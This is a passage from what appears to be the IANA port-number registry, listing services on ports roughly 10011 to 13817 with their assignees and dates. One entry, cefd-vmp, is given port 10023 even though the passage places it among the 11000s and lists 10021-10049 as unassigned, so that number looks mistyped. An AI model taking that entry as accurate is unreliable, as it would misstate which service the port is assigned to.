                10011-10019           Unassigned
abb-hw             10020       tcp    Hardware configuration and   [ABB]                                                 [Adam_Norén]                                              2017-03-28
                                      maintenance
                   10020       udp    Reserved
                10021-10049           Unassigned
zabbix-agent       10050       tcp    Zabbix Agent                 [Alexei_Vladishev]                                    [Alexei_Vladishev]                                        2006-02
zabbix-agent       10050       udp    Zabbix Agent                 [Alexei_Vladishev]                                    [Alexei_Vladishev]                                        2006-02
zabbix-trapper     10051       tcp    Zabbix Trapper               [Alexei_Vladishev]                                    [Alexei_Vladishev]                                        2006-02
zabbix-trapper     10051       udp    Zabbix Trapper               [Alexei_Vladishev]                                    [Alexei_Vladishev]                                        2006-02
                10052-10054           Unassigned
qptlmd             10055       tcp    Quantapoint FLEXlm Licensing [Justin_Vegso]                                        [Justin_Vegso]                                            2010-07-01
                                      Service
                   10055       udp    Reserved
                10056-10079           Unassigned
amanda             10080       tcp    Amanda                       [John_Jackson]                                        [John_Jackson]
amanda             10080       udp    Amanda                       [John_Jackson]                                        [John_Jackson]
famdc              10081       tcp    FAM Archive Server           [Frode_Randers]                                       [Frode_Randers]                                           2006-01
famdc              10081       udp    FAM Archive Server           [Frode_Randers]                                       [Frode_Randers]                                           2006-01
                10082-10099           Unassigned
itap-ddtp          10100       tcp    VERITAS ITAP DDTP            [Saugata_Guha]                                        [Saugata_Guha]                                            2004-05
itap-ddtp          10100       udp    VERITAS ITAP DDTP            [Saugata_Guha]                                        [Saugata_Guha]                                            2004-05
ezmeeting-2        10101       tcp    eZmeeting                    [Albert_C_Yang]                                       [Albert_C_Yang]                                           2002-03
ezmeeting-2        10101       udp    eZmeeting                    [Albert_C_Yang]                                       [Albert_C_Yang]                                           2002-03
ezproxy-2          10102       tcp    eZproxy                      [Albert_C_Yang]                                       [Albert_C_Yang]                                           2002-03
ezproxy-2          10102       udp    eZproxy                      [Albert_C_Yang]                                       [Albert_C_Yang]                                           2002-03
ezrelay            10103       tcp    eZrelay                      [Albert_C_Yang]                                       [Albert_C_Yang]                                           2002-03
ezrelay            10103       udp    eZrelay                      [Albert_C_Yang]                                       [Albert_C_Yang]                                           2002-03
swdtp              10104       tcp    Systemwalker Desktop Patrol  [Akira_Ide]                                           [Akira_Ide]                                               2006-09
swdtp              10104       udp    Systemwalker Desktop Patrol  [Akira_Ide]                                           [Akira_Ide]                                               2006-09
                10105-10106           Unassigned
bctp-server        10107       tcp    VERITAS BCTP, server         [Saugata_Guha]                                        [Saugata_Guha]                                            2004-05
bctp-server        10107       udp    VERITAS BCTP, server         [Saugata_Guha]                                        [Saugata_Guha]                                            2004-05
                10108-10109           Unassigned
nmea-0183          10110       tcp    NMEA-0183 Navigational Data  [Meindert_Sprang]                                     [Meindert_Sprang]                                         2009-02-18
nmea-0183          10110       udp    NMEA-0183 Navigational Data  [Meindert_Sprang]                                     [Meindert_Sprang]                                         2009-02-18
                   10111       tcp    Reserved
nmea-onenet        10111       udp    NMEA OneNet multicast        [National_Marine_Electronics_Association]             [Steve_Spitzer]                                           2011-09-15
                                      messaging
                   10112              Unassigned
netiq-endpoint     10113       tcp    NetIQ Endpoint               [John_Wood]                                           [John_Wood]
netiq-endpoint     10113       udp    NetIQ Endpoint               [John_Wood]                                           [John_Wood]
netiq-qcheck       10114       tcp    NetIQ Qcheck                 [Michael_Sharpe]                                      [Michael_Sharpe]                                          2010-09-14
netiq-qcheck       10114       udp    NetIQ Qcheck                 [Michael_Sharpe]                                      [Michael_Sharpe]                                          2010-09-14
netiq-endpt        10115       tcp    NetIQ Endpoint               [Gary_Weichinger]                                     [Gary_Weichinger]
netiq-endpt        10115       udp    NetIQ Endpoint               [Gary_Weichinger]                                     [Gary_Weichinger]
netiq-voipa        10116       tcp    NetIQ VoIP Assessor          [Gary_Weichinger]                                     [Gary_Weichinger]
netiq-voipa        10116       udp    NetIQ VoIP Assessor          [Gary_Weichinger]                                     [Gary_Weichinger]
iqrm               10117       tcp    NetIQ IQCResource Managament [Michael_Sharpe]                                      [Michael_Sharpe]                                          2010-09-14
                                      Svc
iqrm               10117       udp    NetIQ IQCResource Managament [Michael_Sharpe]                                      [Michael_Sharpe]                                          2010-09-14
                                      Svc
                10118-10124           Unassigned
cimple             10125       tcp    HotLink CIMple REST API      [HotLink_Corporation]                                 [Richard_Offer]                                           2014-12-18
                   10125       udp    Reserved
                10126-10127           Unassigned
bmc-perf-sd        10128       tcp    BMC-PERFORM-SERVICE DAEMON   [Portnoy_Boxman]                                      [Portnoy_Boxman]
bmc-perf-sd        10128       udp    BMC-PERFORM-SERVICE DAEMON   [Portnoy_Boxman]                                      [Portnoy_Boxman]
bmc-gms            10129       tcp    BMC General Manager Server   [Dima_Seliverstov]                                    [Dima_Seliverstov]                                        2009-07-28
                   10129       udp    Reserved
                10130-10159           Unassigned
qb-db-server       10160       tcp    QB Database Server           [Wei_Wang]                                            [Wei_Wang]                                                2005-11
qb-db-server       10160       udp    QB Database Server           [Wei_Wang]                                            [Wei_Wang]                                                2005-11
snmptls            10161       tcp    SNMP-TLS                                                                                                                                                               [RFC6353]
snmpdtls           10161       udp    SNMP-DTLS                                                                                                                                                              [RFC6353]
snmptls-trap       10162       tcp    SNMP-Trap-TLS                                                                                                                                                          [RFC6353]
snmpdtls-trap      10162       udp    SNMP-Trap-DTLS                                                                                                                                                         [RFC6353]
                10163-10199           Unassigned
trisoap            10200       tcp    Trigence AE Soap Service     [Brigitte_Gagne]                                      [Brigitte_Gagne]                                          2006-08
trisoap            10200       udp    Trigence AE Soap Service     [Brigitte_Gagne]                                      [Brigitte_Gagne]                                          2006-08
rsms               10201       tcp    Remote Server Management     [Patrick_H_Piper]                                     [Patrick_H_Piper]                                         2009-03-06
                                      Service
rscs               10201       udp    Remote Server Control and    [Patrick_H_Piper]                                     [Patrick_H_Piper]                                         2009-03-06
                                      Test Service
                10202-10251           Unassigned
apollo-relay       10252       tcp    Apollo Relay Port            [Anthony_Carrabino]                                   [Anthony_Carrabino]                                       2003-08
apollo-relay       10252       udp    Apollo Relay Port            [Anthony_Carrabino]                                   [Anthony_Carrabino]                                       2003-08
eapol-relay        10253       udp    Relay of EAPOL frames        [Wi-SUN_Alliance]                                     [Phil_Beecher]                                            2015-06-26
                   10253       tcp    Reserved
                10254-10259           Unassigned
axis-wimp-port     10260       tcp    Axis WIMP Port               [Stefan_Eriksson]                                     [Stefan_Eriksson]
axis-wimp-port     10260       udp    Axis WIMP Port               [Stefan_Eriksson]                                     [Stefan_Eriksson]
tile-ml            10261       tcp    Tile remote machine learning [_1026_Labs]                                          [Rob_Earhart]                                             2016-09-27
                   10261       udp    Reserved
                10262-10287           Unassigned
blocks             10288       tcp    Blocks                       [Carl_Malamud]                                        [Carl_Malamud]
blocks             10288       udp    Blocks                       [Carl_Malamud]                                        [Carl_Malamud]
                10289-10320           Unassigned
cosir              10321       tcp    Computer Op System           [Kevin_C_Barber]                                      [Kevin_C_Barber]                                          2009-01-13
                                      Information Report
                   10321       udp    Reserved
                10322-10438           Unassigned
bngsync            10439       udp    BalanceNG session table      [Inlab_Software_GmbH]                                 [Thomas_G._Obermair]                                      2014-05-02
                                      synchronization protocol
                   10439       tcp    Reserved
                10440-10499           Unassigned
                   10500       tcp    Reserved
hip-nat-t          10500       udp    HIP NAT-Traversal            [Ari_Keranen]                                         [Ari_Keranen]                                                                       [RFC5770]
                10501-10539           Unassigned
MOS-lower          10540       tcp    MOS Media Object Metadata    [Eric_Thorniley]                                      [Eric_Thorniley]                                          2007-09-17
                                      Port
MOS-lower          10540       udp    MOS Media Object Metadata    [Eric_Thorniley]                                      [Eric_Thorniley]                                          2007-09-17
                                      Port
MOS-upper          10541       tcp    MOS Running Order Port       [Eric_Thorniley]                                      [Eric_Thorniley]                                          2007-09-17
MOS-upper          10541       udp    MOS Running Order Port       [Eric_Thorniley]                                      [Eric_Thorniley]                                          2007-09-17
MOS-aux            10542       tcp    MOS Low Priority Port        [Eric_Thorniley]                                      [Eric_Thorniley]                                          2007-09-17
MOS-aux            10542       udp    MOS Low Priority Port        [Eric_Thorniley]                                      [Eric_Thorniley]                                          2007-09-17
MOS-soap           10543       tcp    MOS SOAP Default Port        [Eric_Thorniley]                                      [Eric_Thorniley]                                          2007-09-17
MOS-soap           10543       udp    MOS SOAP Default Port        [Eric_Thorniley]                                      [Eric_Thorniley]                                          2007-09-17
MOS-soap-opt       10544       tcp    MOS SOAP Optional Port       [Eric_Thorniley]                                      [Eric_Thorniley]                                          2007-09-17
MOS-soap-opt       10544       udp    MOS SOAP Optional Port       [Eric_Thorniley]                                      [Eric_Thorniley]                                          2007-09-17
                10545-10547           Unassigned
serverdocs         10548       tcp    Apple Document Sharing       [Apple_Inc_3]                                         [Jason_Thorpe]                                            2015-09-29
                                      Service
                   10548       udp    Reserved
                10549-10630           Unassigned
printopia          10631       tcp    Printopia Serve              [Decisive_Tactics_Inc]                                [Chris_Kent]                                              2011-10-24   2015-04-09
                   10631       udp    Reserved
                10632-10799           Unassigned
gap                10800       tcp    Gestor de Acaparamiento para [Juan_Carlos_Olivares]                                [Juan_Carlos_Olivares]                                    2006-03
                                      Pocket PCs
gap                10800       udp    Gestor de Acaparamiento para [Juan_Carlos_Olivares]                                [Juan_Carlos_Olivares]                                    2006-03
                                      Pocket PCs
                10801-10804           Unassigned
lpdg               10805       tcp    LUCIA Pareja Data Group      [Alvaro_P_Dominguez]                                  [Alvaro_P_Dominguez]                                      2006-02
lpdg               10805       udp    LUCIA Pareja Data Group      [Alvaro_P_Dominguez]                                  [Alvaro_P_Dominguez]                                      2006-02
                10806-10808           Unassigned
nbd                10809       tcp    Linux Network Block Device   [Wouter_Verhelst]                                     [Wouter_Verhelst]                                         2010-08-02
                   10809       udp    Reserved
                   10810       tcp    Reserved
nmc-disc           10810       udp    Nuance Mobile Care Discovery [Gordon_Waddell]                                      [Gordon_Waddell]                                          2011-03-21
                10811-10859           Unassigned
helix              10860       tcp    Helix Client/Server          [Matthew_Strange][Larry_Atkin_2]                      [Matthew_Strange][Larry_Atkin_2]                          2009-03-06
helix              10860       udp    Helix Client/Server          [Matthew_Strange][Larry_Atkin_2]                      [Matthew_Strange][Larry_Atkin_2]                          2009-03-06
                10861-10879           Unassigned
bveapi             10880       tcp    BVEssentials HTTP API        [Tri_Tech_Computers_Ltd]                              [James_Emerton]                                           2012-11-19
bveapi             10880       udp    BVEssentials HTTP API        [Tri_Tech_Computers_Ltd]                              [James_Emerton]                                           2012-11-19
                10881-10932           Unassigned
                                      Listen port used by the
octopustentacle    10933       tcp    Octopus Deploy Tentacle      [Octopus_Deploy_Pty_Ltd]                              [Paul_Stovell]                                            2015-01-28
                                      deployment agent
                   10933       udp    Reserved
                10934-10989           Unassigned
rmiaux             10990       tcp    Auxiliary RMI Port           [Eugen_Bacic_2]                                       [Eugen_Bacic_2]
rmiaux             10990       udp    Auxiliary RMI Port           [Eugen_Bacic_2]                                       [Eugen_Bacic_2]
                10991-10999           Unassigned
irisa              11000       tcp    IRISA                        [V_A_Brauner]                                         [V_A_Brauner]
irisa              11000       udp    IRISA                        [V_A_Brauner]                                         [V_A_Brauner]
metasys            11001       tcp    Metasys                      [Tobin_Schuster]                                      [Tobin_Schuster]
metasys            11001       udp    Metasys                      [Tobin_Schuster]                                      [Tobin_Schuster]
                11002-11022           Unassigned
cefd-vmp           10023       udp    Comtech EF-Data's Vipersat   [Comtech]                                             [Nathan_Jeffords]                                         2014-01-23
                                      Management Protocol
                   10023       tcp    Reserved
                11024-11094           Unassigned
                                      Nest device-to-device and
weave              11095       tcp    device-to-service            [Nest_Labs_Inc]                                       [Grant_Erickson]                                          2014-01-16
                                      application protocol
                                      Nest device-to-device and
weave              11095       udp    device-to-service            [Nest_Labs_Inc]                                       [Grant_Erickson]                                          2014-01-16
                                      application protocol
                11096-11102           Unassigned
origo-sync         11103       tcp    OrigoDB Server Sync          [Devrex_Labs]                                         [Robert_Friberg]                                          2013-03-29
                                      Interface
                   11103       udp    Reserved
netapp-icmgmt      11104       tcp    NetApp Intercluster          [Craig_Everhart]                                      [Craig_Everhart]                                          2010-07-06
                                      Management
                   11104       udp    Reserved
netapp-icdata      11105       tcp    NetApp Intercluster Data     [Craig_Everhart]                                      [Craig_Everhart]                                          2010-07-06
                   11105       udp    Reserved
sgi-lk             11106       tcp    SGI LK Licensing service     [Michel_Bourget]                                      [Michel_Bourget]                                          2009-01-06
sgi-lk             11106       udp    SGI LK Licensing service     [Michel_Bourget]                                      [Michel_Bourget]                                          2009-01-06
                   11107              Unassigned
                                      Hardware Terminals Discovery
myq-termlink       11108       udp    and Low-Level Communication  [JANUS_spol]                                          [Jakub_Ahmadyar]                                          2013-04-23
                                      Protocol
                   11108       tcp    Reserved
                                      Data migration facility
sgi-dmfmgr         11109       tcp    Manager (DMF) is a browser   [SGI]                                                 [John_Sygulla]                                            2013-01-07
                                      based interface to DMF
                   11109       udp    Reserved
                                      Data migration facility
sgi-soap           11110       tcp    (DMF) SOAP is a web server   [SGI]                                                 [John_Sygulla]                                            2013-01-07
                                      protocol to support remote
                                      access to DMF
                   11110       udp    Reserved
vce                11111       tcp    Viral Computing Environment  [Fred_Cohen]                                          [Fred_Cohen]
                                      (VCE)
vce                11111       udp    Viral Computing Environment  [Fred_Cohen]                                          [Fred_Cohen]
                                      (VCE)
dicom              11112       tcp    DICOM                        [David_Clunie]                                        [David_Clunie]                                            2005-08
dicom              11112       udp    DICOM                        [David_Clunie]                                        [David_Clunie]                                            2005-08
                11113-11160           Unassigned
suncacao-snmp      11161       tcp    sun cacao snmp access point  [Nick_Stephen]                                        [Nick_Stephen]                                            2005-08
suncacao-snmp      11161       udp    sun cacao snmp access point  [Nick_Stephen]                                        [Nick_Stephen]                                            2005-08
suncacao-jmxmp     11162       tcp    sun cacao JMX-remoting       [Nick_Stephen]                                        [Nick_Stephen]                                            2005-08
                                      access point
suncacao-jmxmp     11162       udp    sun cacao JMX-remoting       [Nick_Stephen]                                        [Nick_Stephen]                                            2005-08
                                      access point
suncacao-rmi       11163       tcp    sun cacao rmi registry       [Nick_Stephen]                                        [Nick_Stephen]                                            2005-08
                                      access point
suncacao-rmi       11163       udp    sun cacao rmi registry       [Nick_Stephen]                                        [Nick_Stephen]                                            2005-08
                                      access point
suncacao-csa       11164       tcp    sun cacao command-streaming  [Nick_Stephen]                                        [Nick_Stephen]                                            2005-08
                                      access point
suncacao-csa       11164       udp    sun cacao command-streaming  [Nick_Stephen]                                        [Nick_Stephen]                                            2005-08
                                      access point
suncacao-websvc    11165       tcp    sun cacao web service access [Nick_Stephen]                                        [Nick_Stephen]                                            2005-08
                                      point
suncacao-websvc    11165       udp    sun cacao web service access [Nick_Stephen]                                        [Nick_Stephen]                                            2005-08
                                      point
                11166-11170           Unassigned
                   11171       tcp    Reserved
snss               11171       udp    Surgical Notes Security      [David_Lethe]                                         [David_Lethe]                                             2010-12-24
                                      Service Discovery (SNSS)
oemcacao-jmxmp     11172       tcp    OEM cacao JMX-remoting       [David_Sechrest]                                      [David_Sechrest]                                          2010-09-22
                                      access point
                   11172       udp    Reserved
t5-straton         11173       tcp    Straton Runtime Programing   [COPALP]                                              [Jerome_FOLLUT]                                           2012-03-01
                   11173       udp    Reserved
oemcacao-rmi       11174       tcp    OEM cacao rmi registry       [David_Sechrest]                                      [David_Sechrest]                                          2010-09-22
                                      access point
                   11174       udp    Reserved
oemcacao-websvc    11175       tcp    OEM cacao web service access [David_Sechrest]                                      [David_Sechrest]                                          2010-09-22
                                      point
                   11175       udp    Reserved
                11176-11200           Unassigned
smsqp              11201       tcp    smsqp                        [Andres_Seco_Hernande]                                [Andres_Seco_Hernande]
smsqp              11201       udp    smsqp                        [Andres_Seco_Hernande]                                [Andres_Seco_Hernande]
dcsl-backup        11202       tcp    DCSL Network Backup Services [John_Reynolds]                                       [John_Reynolds]                                           2012-04-17                                                                                     Defined TXT keys: DCSL-Service
                   11202       udp    Reserved
                11203-11207           Unassigned
wifree             11208       tcp    WiFree Service               [Jose_Luis_Martin_Pei]                                [Jose_Luis_Martin_Pei]                                    2006-03
wifree             11208       udp    WiFree Service               [Jose_Luis_Martin_Pei]                                [Jose_Luis_Martin_Pei]                                    2006-03
                11209-11210           Unassigned
memcache           11211       tcp    Memory cache service         [Trond_Norbye]                                        [Trond_Norbye]                                            2009-02-09
memcache           11211       udp    Memory cache service         [Trond_Norbye]                                        [Trond_Norbye]                                            2009-02-09
                11212-11318           Unassigned
imip               11319       tcp    IMIP                         [Len_Zuvela]                                          [Len_Zuvela]
imip               11319       udp    IMIP                         [Len_Zuvela]                                          [Len_Zuvela]
imip-channels      11320       tcp    IMIP Channels Port           [Len_Zuvela_2]                                        [Len_Zuvela_2]
imip-channels      11320       udp    IMIP Channels Port           [Len_Zuvela_2]                                        [Len_Zuvela_2]
arena-server       11321       tcp    Arena Server Listen          [Earl_Brannigan]                                      [Earl_Brannigan]
arena-server       11321       udp    Arena Server Listen          [Earl_Brannigan]                                      [Earl_Brannigan]
                11322-11366           Unassigned
atm-uhas           11367       tcp    ATM UHAS                     [Todd_Barker]                                         [Todd_Barker]
atm-uhas           11367       udp    ATM UHAS                     [Todd_Barker]                                         [Todd_Barker]
                11368-11370           Unassigned
hkp                11371       tcp    OpenPGP HTTP Keyserver       [David_Shaw]                                          [David_Shaw]                                              2003-05
hkp                11371       udp    OpenPGP HTTP Keyserver       [David_Shaw]                                          [David_Shaw]                                              2003-05
                11372-11429           Unassigned
lsdp               11430       udp    Lenbrook Service Discovery   [Lenbrook_Industries_Limited]                         [Kevin_Groeneveld]                                        2014-03-27
                                      Protocol
                   11430       tcp    Reserved
                                                                                                                                                                                                                                                                     Known
                11431-11488           Unassigned                                                                                                                                                                                                                     UNAUTHORIZED
                                                                                                                                                                                                                                                                     USE: port
                                                                                                                                                                                                                                                                     11488
asgcypresstcps     11489       tcp    ASG Cypress Secure Only      [David_Luxford]                                       [David_Luxford]                                           2010-07-01
                   11489       udp    Reserved
                11490-11599           Unassigned
tempest-port       11600       tcp    Tempest Protocol Port        [Francis_Cianfrocca]                                  [Francis_Cianfrocca]
tempest-port       11600       udp    Tempest Protocol Port        [Francis_Cianfrocca]                                  [Francis_Cianfrocca]
                11601-11622           Unassigned
emc-xsw-dconfig    11623       tcp    EMC XtremSW distributed      [EMC]                                                 [David_Erel]                                              2013-09-18
                                      config
                   11623       udp    Reserved
                                                                                                                                                                                                                                                                     Unauthorized
                11624-11719           Unassigned                                                                                                                                                                                                                     Use Known on
                                                                                                                                                                                                                                                                     port 11711
h323callsigalt     11720       tcp    H.323 Call Control           [ITU-T]                                               [ITU-T_TSB]                                                            2013-01-31
                                      Signalling Alternate
h323callsigalt     11720       udp    H.323 Call Control           [ITU-T]                                               [ITU-T_TSB]                                                            2013-01-31
                                      Signalling Alternate
                11721-11722           Unassigned
emc-xsw-dcache     11723       tcp    EMC XtremSW distributed      [EMC]                                                 [David_Erel]                                              2013-09-18
                                      cache
emc-xsw-dcache     11723       udp    EMC XtremSW distributed      [EMC]                                                 [David_Erel]                                              2013-09-18
                                      cache
                11724-11750           Unassigned
intrepid-ssl       11751       tcp    Intrepid SSL                 [Robert_Eden]                                         [Robert_Eden]                                             2003-03
intrepid-ssl       11751       udp    Intrepid SSL                 [Robert_Eden]                                         [Robert_Eden]                                             2003-03
                11752-11795           Unassigned
lanschool          11796       tcp    LanSchool                    [Stoneware_Inc]                                       [Dana_Doggett]                                            2012-05-18
lanschool-mpt      11796       udp    Lanschool Multipoint         [Stoneware_Inc]                                       [Dana_Doggett]                                            2012-05-18
                11797-11875           Unassigned
xoraya             11876       tcp    X2E Xoraya Multichannel      [Hannes_K]                                            [Hannes_K]                                                2010-09-13
                                      protocol
xoraya             11876       udp    X2E Xoraya Multichannel      [Hannes_K]                                            [Hannes_K]                                                2010-09-13
                                      protocol
                   11877       tcp    Reserved
x2e-disc           11877       udp    X2E service discovery        [Hannes_K]                                            [Hannes_K]                                                2010-09-13
                                      protocol
                11878-11966           Unassigned
sysinfo-sp         11967       tcp    SysInfo Service Protocol     [Mike_Cooper]                                         [Mike_Cooper]                                             2003-03
sysinfo-sp         11967       udp    SysInfo Sercice Protocol     [Mike_Cooper]                                         [Mike_Cooper]                                             2003-03
                11968-11996           Unassigned
wmereceiving       11997      sctp    WorldMailExpress             [Greg_Foutz]                                          [Greg_Foutz]                                              2006-03
wmedistribution    11998      sctp    WorldMailExpress             [Greg_Foutz]                                          [Greg_Foutz]                                              2006-03
wmereporting       11999      sctp    WorldMailExpress             [Greg_Foutz]                                          [Greg_Foutz]                                              2006-03
entextxid          12000       tcp    IBM Enterprise Extender SNA  [Eugene_Cox]                                          [Eugene_Cox]
                                      XID Exchange
entextxid          12000       udp    IBM Enterprise Extender SNA  [Eugene_Cox]                                          [Eugene_Cox]
                                      XID Exchange
entextnetwk        12001       tcp    IBM Enterprise Extender SNA  [Eugene_Cox]                                          [Eugene_Cox]
                                      COS Network Priority
entextnetwk        12001       udp    IBM Enterprise Extender SNA  [Eugene_Cox]                                          [Eugene_Cox]
                                      COS Network Priority
entexthigh         12002       tcp    IBM Enterprise Extender SNA  [Eugene_Cox]                                          [Eugene_Cox]
                                      COS High Priority
entexthigh         12002       udp    IBM Enterprise Extender SNA  [Eugene_Cox]                                          [Eugene_Cox]
                                      COS High Priority
entextmed          12003       tcp    IBM Enterprise Extender SNA  [Eugene_Cox]                                          [Eugene_Cox]
                                      COS Medium Priority
entextmed          12003       udp    IBM Enterprise Extender SNA  [Eugene_Cox]                                          [Eugene_Cox]
                                      COS Medium Priority
entextlow          12004       tcp    IBM Enterprise Extender SNA  [Eugene_Cox]                                          [Eugene_Cox]
                                      COS Low Priority
entextlow          12004       udp    IBM Enterprise Extender SNA  [Eugene_Cox]                                          [Eugene_Cox]
                                      COS Low Priority
dbisamserver1      12005       tcp    DBISAM Database Server -     [Tim_Young]                                           [Tim_Young]                                               2002-05
                                      Regular
dbisamserver1      12005       udp    DBISAM Database Server -     [Tim_Young]                                           [Tim_Young]                                               2002-05
                                      Regular
dbisamserver2      12006       tcp    DBISAM Database Server -     [Tim_Young]                                           [Tim_Young]                                               2002-05
                                      Admin
dbisamserver2      12006       udp    DBISAM Database Server -     [Tim_Young]                                           [Tim_Young]                                               2002-05
                                      Admin
accuracer          12007       tcp    Accuracer Database System    [Alexander_V_Ivanov]                                  [Alexander_V_Ivanov]                                      2004-12
                                      Server
accuracer          12007       udp    Accuracer Database System    [Alexander_V_Ivanov]                                  [Alexander_V_Ivanov]                                      2004-12
                                      Server
accuracer-dbms     12008       tcp    Accuracer Database System    [Alexander_V_Ivanov]                                  [Alexander_V_Ivanov]                                      2004-12
                                      Admin
accuracer-dbms     12008       udp    Accuracer Database System    [Alexander_V_Ivanov]                                  [Alexander_V_Ivanov]                                      2004-12
                                      Admin
                   12009       tcp    Reserved
ghvpn              12009       udp    Green Hills VPN              [Green_Hills_Software]                                [Tom_R_Zavisca]                                           2012-02-07
edbsrvr            12010       tcp    ElevateDB Server             [Tim_Young]                                           [Tim_Young]                                               2009-05-06
                   12010       udp    Reserved
                   12011              Unassigned
vipera             12012       tcp    Vipera Messaging Service     [Silvano_Maffeis_2]                                   [Silvano_Maffeis_2]                                       2005-08
vipera             12012       udp    Vipera Messaging Service     [Silvano_Maffeis_2]                                   [Silvano_Maffeis_2]                                       2005-08
vipera-ssl         12013       tcp    Vipera Messaging Service     [Silvano_Maffeis_2]                                   [Silvano_Maffeis_2]                                       2008-01-16
                                      over SSL Communication
vipera-ssl         12013       udp    Vipera Messaging Service     [Silvano_Maffeis_2]                                   [Silvano_Maffeis_2]                                       2008-01-16
                                      over SSL Communication
                12014-12108           Unassigned
rets-ssl           12109       tcp    RETS over SSL                [Jeremy_Crawford]                                     [Jeremy_Crawford]                                         2003-02
rets-ssl           12109       udp    RETS over SSL                [Jeremy_Crawford]                                     [Jeremy_Crawford]                                         2003-02
                12110-12120           Unassigned
nupaper-ss         12121       tcp    NuPaper Session Service      [David_Warden_2]                                      [David_Warden_2]                                          2005-11
nupaper-ss         12121       udp    NuPaper Session Service      [David_Warden_2]                                      [David_Warden_2]                                          2005-11
                12122-12167           Unassigned
cawas              12168       tcp    CA Web Access Service        [Jon_Press]                                           [Jon_Press]                                               2005-08
cawas              12168       udp    CA Web Access Service        [Jon_Press]                                           [Jon_Press]                                               2005-08
                12169-12171           Unassigned
hivep              12172       tcp    HiveP                        [Dick_Augustsson]                                     [Dick_Augustsson]
hivep              12172       udp    HiveP                        [Dick_Augustsson]                                     [Dick_Augustsson]
                12173-12299           Unassigned
linogridengine     12300       tcp    LinoGrid Engine              [Frans_Lundberg]                                      [Frans_Lundberg]                                          2004-11
linogridengine     12300       udp    LinoGrid Engine              [Frans_Lundberg]                                      [Frans_Lundberg]                                          2004-11
                   12301              Unassigned
                                      Remote Administration Daemon
                                      (RAD) is a system service
rads               12302       tcp    that offers secure, remote,  [Oracle]                                              [Devjani_Ray]                                             2012-04-20
                                      programmatic access to
                                      Solaris system configuration
                                      and run-time state
                   12302       udp    Reserved
                12303-12320           Unassigned
warehouse-sss      12321       tcp    Warehouse Monitoring Syst    [Craig_Steffen]                                       [Craig_Steffen]                                           2005-08
                                      SSS
warehouse-sss      12321       udp    Warehouse Monitoring Syst    [Craig_Steffen]                                       [Craig_Steffen]                                           2005-08
                                      SSS
warehouse          12322       tcp    Warehouse Monitoring Syst    [Craig_Steffen]                                       [Craig_Steffen]                                           2005-08
warehouse          12322       udp    Warehouse Monitoring Syst    [Craig_Steffen]                                       [Craig_Steffen]                                           2005-08
                12323-12344           Unassigned
italk              12345       tcp    Italk Chat System            [Takayuki_Ito]                                        [Takayuki_Ito]
italk              12345       udp    Italk Chat System            [Takayuki_Ito]                                        [Takayuki_Ito]
                12346-12752           Unassigned
tsaf               12753       tcp    tsaf port                    [Andreas_Fehr]                                        [Andreas_Fehr]
tsaf               12753       udp    tsaf port                    [Andreas_Fehr]                                        [Andreas_Fehr]
                12754-12864           Unassigned
netperf            12865       tcp    control port for the netperf [netperf.org]                                         [rick_jones]                                              2013-04-05
                                      benchmark
                   12865       udp    Reserved
                12866-13159           Unassigned
i-zipqd            13160       tcp    I-ZIPQD                      [Chuck_Runquist]                                      [Chuck_Runquist]
i-zipqd            13160       udp    I-ZIPQD                      [Chuck_Runquist]                                      [Chuck_Runquist]
                13161-13215           Unassigned
bcslogc            13216       tcp    Black Crow Software          [Ramindur_Singh]                                      [Ramindur_Singh]                                          2008-12-04
                                      application logging
bcslogc            13216       udp    Black Crow Software          [Ramindur_Singh]                                      [Ramindur_Singh]                                          2008-12-04
                                      application logging
rs-pias            13217       tcp    R&S Proxy Installation       [Guido_Kiener]                                        [Guido_Kiener]                                            2008-12-04
                                      Assistant Service
rs-pias            13217       udp    R&S Proxy Installation       [Guido_Kiener]                                        [Guido_Kiener]                                            2008-12-04
                                      Assistant Service
emc-vcas-tcp       13218       tcp    EMC Virtual CAS Service
emc-vcas-udp       13218       udp    EMV Virtual CAS Service      [Mark_O_Connell]                                      [Mark_O_Connell]                                          2008-12-04
                                      Discovery
                13219-13222           Unassigned
powwow-client      13223       tcp    PowWow Client                [Paul_K_Peterson]                                     [Paul_K_Peterson]
powwow-client      13223       udp    PowWow Client                [Paul_K_Peterson]                                     [Paul_K_Peterson]
powwow-server      13224       tcp    PowWow Server                [Paul_K_Peterson]                                     [Paul_K_Peterson]
powwow-server      13224       udp    PowWow Server                [Paul_K_Peterson]                                     [Paul_K_Peterson]
                13225-13399           Unassigned
doip-data          13400       tcp    DoIP Data                    [Joerg_Schneider]                                     [Joerg_Schneider]                                         2011-01-26
doip-disc          13400       udp    DoIP Discovery               [Joerg_Schneider]                                     [Joerg_Schneider]                                         2011-01-26
                13401-13719           Unassigned
bprd               13720       tcp    BPRD Protocol (VERITAS       [Jeff_Holmbeck]                                       [Jeff_Holmbeck]
                                      NetBackup)
bprd               13720       udp    BPRD Protocol (VERITAS       [Jeff_Holmbeck]                                       [Jeff_Holmbeck]
                                      NetBackup)
bpdbm              13721       tcp    BPDBM Protocol (VERITAS      [Jeff_Holmbeck]                                       [Jeff_Holmbeck]
                                      NetBackup)
bpdbm              13721       udp    BPDBM Protocol (VERITAS      [Jeff_Holmbeck]                                       [Jeff_Holmbeck]
                                      NetBackup)
bpjava-msvc        13722       tcp    BP Java MSVC Protocol        [Tim_Schmidt]                                         [Tim_Schmidt]
bpjava-msvc        13722       udp    BP Java MSVC Protocol        [Tim_Schmidt]                                         [Tim_Schmidt]
                   13723              Unassigned
vnetd              13724       tcp    Veritas Network Utility      [Jeff_Holmbeck]                                       [Jeff_Holmbeck]
vnetd              13724       udp    Veritas Network Utility      [Jeff_Holmbeck]                                       [Jeff_Holmbeck]
                13725-13781           Unassigned
bpcd               13782       tcp    VERITAS NetBackup            [Jeff_Holmbeck]                                       [Jeff_Holmbeck]
bpcd               13782       udp    VERITAS NetBackup            [Jeff_Holmbeck]                                       [Jeff_Holmbeck]
vopied             13783       tcp    VOPIED Protocol              [Jeff_Holmbeck]                                       [Jeff_Holmbeck]
vopied             13783       udp    VOPIED Protocol              [Jeff_Holmbeck]                                       [Jeff_Holmbeck]
                   13784              Unassigned
nbdb               13785       tcp    NetBackup Database           [Pat_Tovo]                                            [Pat_Tovo]                                                2004-12
nbdb               13785       udp    NetBackup Database           [Pat_Tovo]                                            [Pat_Tovo]                                                2004-12
nomdb              13786       tcp    Veritas-nomdb                [Clayton_Haapala]                                     [Clayton_Haapala]                                         2005-08
nomdb              13786       udp    Veritas-nomdb                [Clayton_Haapala]                                     [Clayton_Haapala]                                         2005-08
                13787-13817           Unassigned
